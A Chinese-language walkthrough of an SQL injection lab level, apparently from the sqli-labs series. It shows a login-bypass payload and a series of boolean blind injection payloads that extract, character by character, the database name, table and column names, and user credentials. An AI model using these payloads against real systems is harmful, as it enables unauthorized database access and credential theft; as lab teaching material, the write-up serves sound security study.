这一关有点不一样了 这一关用前几关那样子的判断注入点是不行了
所以我们使用万能密码去完成注入点的判断
输入如下
1' or 1=1#
回显如下
然后我们去佐证一下自己的想法
输入如下
1' or 1=1#
回显如下
说明我们的判断是正确的
接下来进入各种爆破操作了 首先我们得完成方法的选择 既然正确是不能成功回显 错误是也不能成工回显报错信息的话 那么只能进行布尔盲注或者是时间注入 这里我们选择布尔盲注来解决问题
然后我们进行爆库的长度操作
输入如下
1' or length(database())>7#
这句话的回显显示成功登录
然后在进行二次输入 输入如下
1' or length(database())>8#
这句话的回显显示的登陆失败
然后我们进行爆库的首字母的名称
输入如下
1' or ascii(substr(database(),1,1))=115#
回显成功 所以这个首字母对应的ascii码值为115 解码后得到首字母为s
接下来 爆表的数量
输入如下
1' or (select count(table_name) from information_schema.tables where table_schema=database())=4;#
回显成功登录 所以当前数据库中的表格数量为4个
爆第一张表的名称个数
输入如下
1' or (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6;#
回显成功登录 所以第一张表格的名称个数为6个
爆第一张表的名称
输入如下
1' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101;#
回显成功登录 嗨嗨 挺顺利的
接下来进行爆字段的操作了
爆字段的个数
输入如下
1' or (select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())=3;#
回显成功登录 嗨嗨 当前数据库中的字段数为3个
爆第一个字段的名称个数
输入如下
1' or (select length(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)=2;#
成功显示登录 然后我们知道第一个字段的名称个数为2
然后进行第一个字段的首字母的获取工作
输入如下
1' or ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105;#
显示成功登录 说明第一个字段的首字母对应的ascii码值为105 所以首字母为i
然后在进行最后的操作 那就是进行用户名和密码的首字母
1' or ascii(substr((select group_concat(username,password) from users),1,1))=68;#
正确显示并显示成功登录 说明第一个用户名的首字母为D
我没一个步骤都是进行一部分的演示 还有其他部分由于太多就不进行演示了 我推荐大家可以进行通过脚本来进行剩余部分的获取 详情可以参考我编写的脚本编写文章
成功了嗨嗨!!!